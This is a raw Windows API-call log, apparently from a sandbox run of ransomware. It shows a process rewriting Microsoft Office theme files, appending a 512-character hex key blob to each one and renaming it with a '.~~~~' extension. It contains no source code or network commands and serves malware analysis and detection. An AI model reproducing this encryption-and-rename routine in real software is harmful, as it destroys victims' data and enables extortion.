	[0121.772] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0121.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.775] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.775] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.777] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.777] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.777] CloseHandle (hObject=0x128) returned 1
	[0121.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3eac70
	[0121.778] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx.~~~~")) returned 1
	[0121.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0121.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0121.779] GetLastError () returned 0x0
	[0121.780] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0121.781] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.781] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0121.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0121.782] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24177183706) returned 1
	[0121.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2101330, dwHighDateTime=0x1d60e1e)) 
	[0121.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0121.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0121.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0121.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e760
	[0121.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e760 | out: hHeap=0x300000) returned 1
	[0121.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0121.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4150
	[0121.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0121.783] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0121.783] GetLastError () returned 0x0
	[0121.783] GetLastError () returned 0x0
	[0121.783] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0121.783] GetLastError () returned 0x0
	[0121.783] GetLastError () returned 0x0
	[0121.786] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe910c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.786] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x16ef4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x16ef4, lpOverlapped=0x0) returned 1
	[0121.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.788] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.788] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.788] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.788] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.788] CloseHandle (hObject=0x128) returned 1
	[0121.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3eac70
	[0121.789] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx.~~~~")) returned 1
	[0121.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0121.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0121.790] GetLastError () returned 0x0
	[0121.791] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0121.792] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0121.792] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0121.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0121.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0121.792] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24178236811) returned 1
	[0121.792] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2101330, dwHighDateTime=0x1d60e1e)) 
	[0121.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0121.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0121.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0121.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e798
	[0121.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0121.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e798 | out: hHeap=0x300000) returned 1
	[0121.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0121.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0121.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc700
	[0121.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0121.793] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0121.793] GetLastError () returned 0x0
	[0121.793] GetLastError () returned 0x0
	[0121.793] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0121.793] GetLastError () returned 0x0
	[0121.794] GetLastError () returned 0x0
	[0121.799] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffeabf5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.799] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x1540b, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x1540b, lpOverlapped=0x0) returned 1
	[0121.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.801] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.801] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.802] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.802] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.802] CloseHandle (hObject=0x128) returned 1
	[0121.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3eac70
	[0121.802] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx.~~~~")) returned 1
	[0121.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0121.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0121.803] GetLastError () returned 0x0
	[0121.841] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0121.865] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.865] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0121.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0121.865] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24185539408) returned 1
	[0121.865] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb21bfa10, dwHighDateTime=0x1d60e1e)) 
	[0121.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0121.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0121.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0121.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e8b0
	[0121.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e8b0 | out: hHeap=0x300000) returned 1
	[0121.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0121.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc960
	[0121.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0121.866] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0121.866] GetLastError () returned 0x0
	[0121.866] GetLastError () returned 0x0
	[0121.867] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0121.867] GetLastError () returned 0x0
	[0121.867] GetLastError () returned 0x0
	[0121.885] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.885] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0121.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0121.888] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.888] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.901] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.901] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.901] CloseHandle (hObject=0x13c) returned 1
	[0121.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3eac70
	[0121.910] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx.~~~~")) returned 1
	[0121.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0121.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0121.912] GetLastError () returned 0x0
	[0121.913] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0121.914] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.914] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0121.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0121.914] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24190438747) returned 1
	[0121.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2231e30, dwHighDateTime=0x1d60e1e)) 
	[0121.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0121.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0121.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0121.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7bc8
	[0121.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7bc8 | out: hHeap=0x300000) returned 1
	[0121.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0121.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0121.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0121.915] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0121.915] GetLastError () returned 0x0
	[0121.916] GetLastError () returned 0x0
	[0121.916] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0121.916] GetLastError () returned 0x0
	[0121.916] GetLastError () returned 0x0
	[0121.921] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffc63, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.921] WriteFile (in: hFile=0x13c, lpBuffer=0x2a370b0*, nNumberOfBytesToWrite=0x39d, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a370b0*, lpNumberOfBytesWritten=0x26dfec0*=0x39d, lpOverlapped=0x0) returned 1
	[0121.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a370b0 | out: hHeap=0x300000) returned 1
	[0121.923] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.923] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.924] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.924] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.924] CloseHandle (hObject=0x13c) returned 1
	[0121.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6a30
	[0121.924] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml.~~~~")) returned 1
	[0121.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6a30 | out: hHeap=0x300000) returned 1
	[0121.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0121.926] GetLastError () returned 0x0
	[0121.930] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0121.931] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.931] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0121.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0121.932] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24192198342) returned 1
	[0121.932] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2257f90, dwHighDateTime=0x1d60e1e)) 
	[0121.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0121.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0121.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0121.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7b90
	[0121.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7b90 | out: hHeap=0x300000) returned 1
	[0121.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5848
	[0121.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0121.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5848 | out: hHeap=0x300000) returned 1
	[0121.933] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0121.933] GetLastError () returned 0x0
	[0121.933] GetLastError () returned 0x0
	[0121.933] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0121.933] GetLastError () returned 0x0
	[0121.934] GetLastError () returned 0x0
	[0122.017] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffc41, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
